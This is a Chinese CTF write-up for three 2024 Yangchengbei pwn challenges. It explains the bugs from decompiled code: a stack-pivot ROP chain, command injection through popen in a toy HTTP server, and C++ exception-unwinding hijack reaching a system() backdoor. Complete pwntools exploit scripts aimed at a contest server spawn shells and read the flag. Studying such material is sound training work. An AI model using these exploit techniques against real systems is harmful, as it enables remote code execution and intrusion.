羊城杯2024pwn
题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2024pwn
pstack
程序逻辑非常简单,存在栈溢出只能覆盖返回地址,没有pie,通过二次栈迁移,控制rbp来实现任意地址写,然后第一次栈迁移往bss写满泄露地址的rop,之后二次迁移过去执行就可以执行rop,第一次rop泄露地址,第二次rop直接getshell
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "139.155.126.78"
PORT = 32922
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
p = connect()
rdi=0x0000000000400773
rbp=0x00000000004005b0
leave_ret=0x4006DB
ret=0x4006DC
vuln=0x4006C4
payload = flat([
b'a' * 0x30,0x601730,vuln
])
sa("Can you grasp this little bit of overflow?",payload)
payload = flat([
rdi,elf.got['read'],elf.plt['puts'],
rbp,0x601a30,vuln,
0x6016f8,leave_ret
])
s(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) -libc.sym['read']
success(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = flat([
rdi,binsh,system,b'a' * 0x18,
0x6019f8,leave_ret
])
s(payload)
p.interactive()
httpd
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int result; // eax
int v6; // eax
int v7; // eax
struct tm *v8; // eax
__time_t tv_sec; // edi
int st_size; // esi
const char *v11; // eax
struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
int v13; // [esp+Ch] [ebp-14130h] BYREF
int v14; // [esp+10h] [ebp-1412Ch] BYREF
int v15; // [esp+14h] [ebp-14128h] BYREF
int v16; // [esp+18h] [ebp-14124h] BYREF
char v17; // [esp+1Ch] [ebp-14120h] BYREF
char *haystack; // [esp+20h] [ebp-1411Ch]
int i; // [esp+24h] [ebp-14118h]
size_t v20; // [esp+28h] [ebp-14114h]
char *has_host; // [esp+2Ch] [ebp-14110h]
char *v22; // [esp+30h] [ebp-1410Ch]
int stdout_fd; // [esp+34h] [ebp-14108h]
int v24; // [esp+38h] [ebp-14104h]
FILE *stream; // [esp+3Ch] [ebp-14100h]
int v26; // [esp+40h] [ebp-140FCh]
FILE *v27; // [esp+44h] [ebp-140F8h]
int c; // [esp+48h] [ebp-140F4h]
struct stat v29; // [esp+4Ch] [ebp-140F0h] BYREF
char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
char v31[16]; // [esp+A8h] [ebp-14094h] BYREF
char v32[116]; // [esp+B8h] [ebp-14084h] BYREF
char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
char input_data[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
char httpMethod[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
char requestPath; // [esp+56C0h] [ebp-EA7Ch] BYREF
char v37[9999]; // [esp+56C1h] [ebp-EA7Bh] BYREF
char httpVersion[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
char v40[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
__int64 v41; // [esp+12FE4h] [ebp-1158h]
char *v42; // [esp+12FECh] [ebp-1150h]
int v43; // [esp+1312Ch] [ebp-1010h] BYREF
unsigned int v44; // [esp+14120h] [ebp-1Ch]
int *p_argc; // [esp+1412Ch] [ebp-10h]
p_argc = &argc;
while ( &v43 != (int *)v33 )
;
v44 = __readgsdword(0x14u);
memset(&v33[884], 0, 1024);
v20 = 0;
strcpy(modes, "r");
if ( chdir("/home/ctf/html") < 0 )
puts_error(500, (int)"Internal Error", 0, "Config error - couldn't chdir().");
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "No request found.");
if ( __isoc99_sscanf(input_data, "%[^ ] %[^ ] %[^ ]", httpMethod, &requestPath, httpVersion) != 3 )
puts_error(400, (int)"Bad Request", 0, "Can't parse request.");
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "Missing Host.");
has_host = strstr(input_data, "Host: ");
if ( !has_host )
puts_error(400, (int)"Bad Request", 0, "Missing Host.");
v22 = strstr(has_host + 6, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(has_host + 6, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(has_host + 6) <= 7 )
puts_error(400, (int)"Bad Request", 0, "Host len error.");
if ( has_host == (char *)-6 || !has_host[6] )
puts_error(400, (int)"Bad Request", 0, "Host fmt error.");
v42 = &v17;
HIDWORD(v41) = &v16;
__isoc99_sscanf(has_host + 6, "%d.%d.%d.%d%c", &v13, &v14, &v15);
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
has_host = strstr(input_data, "Content-Length: ");
if ( !has_host )
puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
v22 = strstr(has_host + 16, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(has_host + 16, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(has_host + 16) > 5 )
puts_error(400, (int)"Bad Request", 0, "Content-Length len too long.");
if ( strcasecmp(httpMethod, "get") )
puts_error(501, (int)"Not Implemented", 0, "That method is not implemented.");
if ( strncmp(httpVersion, "HTTP/1.0", 8u) )
puts_error(400, (int)"Bad Request", 0, "Bad protocol.");
if ( requestPath != 47 )
puts_error(400, (int)"Bad Request", 0, "Bad filename.");
haystack = v37;
urldecode(v37, v37);
if ( !*haystack )
haystack = "./";
v20 = strlen(haystack);
if ( *haystack == '/' // 目录穿越检查
|| !strcmp(haystack, "..")
|| !strncmp(haystack, "../", 3u)
|| strstr(haystack, "/../")
|| !strcmp(&haystack[v20 - 3], "/..") )
{
puts_error(400, (int)"Bad Request", 0, "Illegal filename.");
}
if ( !sub_1F74(haystack) )
puts_error(404, (int)"Not Found", 0, "Invalid file name.");
v3 = fileno(stdout);
stdout_fd = dup(v3);
v4 = fileno(stderr);
v24 = dup(v4);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen(haystack, modes);
if ( stream )
{
pclose(stream);
v6 = fileno(stdout);
dup2(stdout_fd, v6);
v7 = fileno(stderr);
dup2(v24, v7);
close(stdout_fd);
close(v24);
if ( stat(haystack, &v29) < 0 )
puts_error(404, (int)"Not Found", 0, "File not found.");
if ( (v29.st_mode & 0xF000) == 0x4000 )
{
if ( haystack[v20 - 1] != 47 )
{
snprintf(v40, 0x4E20u, "Location: %s/", &requestPath);
puts_error(302, (int)"Found", (int)v40, "Directories must end with a slash.");
}
snprintf(file, 0x4E20u, "%sindex.html", haystack);
if ( stat(file, &v29) < 0 )
{
sub_23D9(200, "Ok", 0, (int)"text/html", -1, v29.st_mtim.tv_sec);
v26 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
if ( v26 >= 0 )
{
for ( i = 0; i < v26; ++i )
{
sub_2704(v32, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
if ( lstat(file, &v29) >= 0 )
{
v8 = localtime(&v29.st_mtim.tv_sec);
strftime(v31, 0x10u, "%d%b%Y %H:%M", v8);
printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v32, namelist[i]->d_name, v31, (__int64)v29.st_size);
sub_20C6(file);
}
else
{
printf("<a href=\"%s\">%-32.32s</a> ???\n", v32, namelist[i]->d_name);
}
printf(
"</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
"https://2024ycb.dasctf.com/",
"YCB2024");
}
}
else
{
perror("scandir");
}
goto LABEL_74;
}
haystack = file;
}
v27 = fopen(haystack, "r");
if ( !v27 )
puts_error(403, (int)"Forbidden", 0, "File is protected.");
tv_sec = v29.st_mtim.tv_sec;
st_size = v29.st_size;
v11 = sub_2566(haystack);
sub_23D9(200, "Ok", 0, (int)v11, st_size, tv_sec);
while ( 1 )
{
c = getc(v27);
if ( c == -1 )
break;
putchar(c);
}
LABEL_74:
fflush(stdout);
exit(0);
}
result = -1;
if ( v44 != __readgsdword(0x14u) )
check_canary();
return result;
}
程序的逻辑很长,实现了一个http request parse,然后相应请求,大多数逻辑都是对http request的格式做判断,还有目录穿越的检查
漏洞出在这里popen这里
这个popen会fork一个子进程,然后调用shell,把参数传过去,也没有做过滤,所以可以通过这里执行命令
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "139.155.126.78"
PORT = 30523
elf = context.binary = ELF('./httpd')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
p = connect()
payload = flat([
b'GET ',b'/cat%20%2Fflag%20%3E%20flag.txt ',b'HTTP/1.0\r\n',
b'Host: 00.00.00.00\r\n',
b'Content-Length: 0\r\n'
])
p.send(payload)
p.close()
p = connect()
payload = flat([
b'GET ',b'/flag.txt ',b'HTTP/1.0\r\n',
b'Host: 00.00.00.00\r\n',
b'Content-Length: 0\r\n'
])
p.send(payload)
p.interactive()
logger
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // [rsp+4h] [rbp-7Ch] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-18h]
v4 = __readfsqword(0x28u);
init_io(a1, a2, a3);
choice = 0;
while ( 1 )
{
menu();
scanf("%d", &choice);
if ( choice == 3 )
{
puts("Bye!");
exit(0);
}
if ( choice > 3 )
{
LABEL_10:
puts("Wrong!");
}
else if ( choice == 1 )
{
Trace();
}
else
{
if ( choice != 2 )
goto LABEL_10;
warn();
}
}
}
int init_io()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}
unsigned __int64 Trace()
{
int i; // [rsp+Ch] [rbp-24h]
int j; // [rsp+Ch] [rbp-24h]
int v3; // [rsp+10h] [rbp-20h]
__int16 v4; // [rsp+26h] [rbp-Ah] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("\nYou can record log details here: ");
fflush(stdout);
for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i )
;
if ( i <= 8 )
{
byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10uLL)] = 0;
printf("Do you need to check the records? ");
fflush(stdout);
v4 = 0;
scanf("%1s", &v4);
if ( (_BYTE)v4 == 121 || (_BYTE)v4 == 89 )
{
v3 = 8;
for ( j = 0; j <= 8 && byte_404020[16 * j] && v3; ++j )
{
printf("\x1B[31mRecord%d. %.16s\x1B[0m", (unsigned int)(j + 1), &byte_404020[16 * j]);
--v3;
}
}
else if ( (_BYTE)v4 != 110 && (_BYTE)v4 != 78 )
{
puts("Invalid input. Please enter 'y' or 'n'.");
exit(0);
}
}
else
{
puts("Records have been filled :(");
}
return v5 - __readfsqword(0x28u);
}
unsigned __int64 warn()
{
unsigned __int64 v0; // rax
_QWORD *exception; // rax
__int64 v3; // [rsp+8h] [rbp-78h]
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
__int64 v5[4]; // [rsp+20h] [rbp-60h] BYREF
__int64 v6[5]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-18h]
v7 = __readfsqword(0x28u);
clean_up(buf);
memset(v5, 0, sizeof(v5));
sub_4014FD(v5, 32LL);
printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
printf("[!] Type your message here plz: ");
fflush(stdout);
v0 = read(0, buf, 0x100uLL);
HIBYTE(v3) = HIBYTE(v0);
buf[v0 - 1] = 0;
if ( v0 > 0x10 )
{
memcpy(byte_404200, buf, sizeof(byte_404200));
strcpy(dest, src);
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, byte_404200, 0x100uLL);
puts(dest);
exception = __cxa_allocate_exception(8uLL);
*exception = src;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
}
memcpy(byte_404100, buf, sizeof(byte_404100));
memset(v6, 0, 32);
sub_4014FD(v6, 32LL);
printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
sub_401CCA(buf);
return v7 - __readfsqword(0x28u);
}
程序有两个漏洞 Trace函数循环边界没有处理好 有一个越界写的漏洞,可以把buffer overflow这个字段覆盖一部分
.data:0000000000404020 00 0A 00 00 00 00 00 00 00 00+byte_404020 db 0, 0Ah, 7Eh dup(0) ; DATA XREF: Trace+58↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+ ; Trace+9F↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+ ; Trace+CE↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+ ; Trace+147↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+ ; Trace+168↑o
.data:00000000004040A0 ; char src[]
.data:00000000004040A0 42 75 66 66 65 72 20 4F 76 65+src db 'Buffer Overflow',0
warn有一个栈溢出的漏洞,但是有一个输入长度的检查,如果输入长度 > 0x10就会进到异常处理的逻辑然后throw一个buffer overflow的字段,由外面一层函数的catch捕获后 handler
unsigned __int64 warn()
{
unsigned __int64 v0; // rax
_QWORD *exception; // rax
__int64 v3; // [rsp+8h] [rbp-78h]
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
__int64 v5[4]; // [rsp+20h] [rbp-60h] BYREF
__int64 v6[5]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-18h]
v7 = __readfsqword(0x28u);
clean_up(buf);
memset(v5, 0, sizeof(v5));
sub_4014FD(v5, 32LL);
printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
printf("[!] Type your message here plz: ");
fflush(stdout);
v0 = read(0, buf, 0x100uLL);
HIBYTE(v3) = HIBYTE(v0);
buf[v0 - 1] = 0;
if ( v0 > 0x10 )
{
memcpy(byte_404200, buf, sizeof(byte_404200));
strcpy(dest, src);
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, byte_404200, 0x100uLL);
puts(dest);
exception = __cxa_allocate_exception(8uLL);
*exception = src;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
}
memcpy(byte_404100, buf, sizeof(byte_404100));
memset(v6, 0, 32);
sub_4014FD(v6, 32LL);
printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
sub_401CCA(buf);
return v7 - __readfsqword(0x28u);
}
cpp的异常处理围绕着三个步骤进行处理,unwind cleanup handler,unwind会调用一些函数来判断当前栈帧中有没有能处理异常的逻辑,如果有就会把控制权转移到那边处理异常,如果没有,unwind就会找父函数有没有处理异常的逻辑,具体是怎么找的,是通过rbp和 rbp + 8 去确定父函数的栈帧位置,当前函数找不到就会调用cleanup去清理资源,然后根据rbp和rbp + 8去回溯到上一个栈帧那,直到unwind找到一个可以捕获异常的逻辑,就会把控制权转交过去然后由这段逻辑进行handler。
如果把rbp + 8覆盖成一个其他的try块的地址,就能扰乱unwind栈展开的流程,logger中有一段backdoor 也是catch一个字符串类型的异常,通过覆盖返回地址就可以把控制流劫持到这个位置执行backdoor,先通过上面的越界写去写一个binsh的字符串,然后覆盖返回地址扰乱unwind的流程 使这个异常被backdoor handler处理,最后getshell
.text:0000000000401BC2 ; try {
.text:0000000000401BC2 E8 69 F7 FF FF call ___cxa_throw
.text:0000000000401BC2 ; } // starts at 401BC2
.text:0000000000401BC2
.text:0000000000401BC7 ; ---------------------------------------------------------------------------
.text:0000000000401BC7 ; catch(char const*) // owned by 401BC2
.text:0000000000401BC7 F3 0F 1E FA endbr64
.text:0000000000401BCB 48 83 FA 01 cmp rdx, 1
.text:0000000000401BCF 74 08 jz short loc_401BD9
.text:0000000000401BCF
.text:0000000000401BD1 48 89 C7 mov rdi, rax
.text:0000000000401BD4 E8 67 F7 FF FF call __Unwind_Resume
.text:0000000000401BD4
.text:0000000000401BD9 ; ---------------------------------------------------------------------------
.text:0000000000401BD9
.text:0000000000401BD9 loc_401BD9: ; CODE XREF: .text:0000000000401BCF↑j
.text:0000000000401BD9 48 89 C7 mov rdi, rax
.text:0000000000401BDC E8 FF F5 FF FF call ___cxa_begin_catch
.text:0000000000401BDC
.text:0000000000401BE1 48 89 45 E8 mov [rbp-18h], rax
.text:0000000000401BE5 48 8B 45 E8 mov rax, [rbp-18h]
.text:0000000000401BE9 48 89 C6 mov rsi, rax
.text:0000000000401BEC 48 8D 05 AD 06 00 00 lea rax, aAnExceptionOfT_1 ; "[-] An exception of type String was cau"...
.text:0000000000401BF3 48 89 C7 mov rdi, rax
.text:0000000000401BF6 B8 00 00 00 00 mov eax, 0
.text:0000000000401BFB ; try {
.text:0000000000401BFB E8 D0 F5 FF FF call _printf
.text:0000000000401BFB
.text:0000000000401C00 48 8B 45 E8 mov rax, [rbp-18h]
.text:0000000000401C04 48 89 C7 mov rdi, rax
.text:0000000000401C07 E8 54 F6 FF FF call _system
.text:0000000000401C07 ; }
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
binsh = 0x4040A0
for i in range(8):
sla("Your chocie:", str(1))
sla("here: ", b'a' * 0x10)
sla("records? ", b'n')
sla("Your chocie:", str(1))
sla("here: ", b'/bin/sh;')
sla("records? ", b'n')
sla("Your chocie:", str(2))
payload = b'a' * 0x70 + p64(binsh) + p64(0x401bc7)
sa("plz: ", payload)
p.interactive()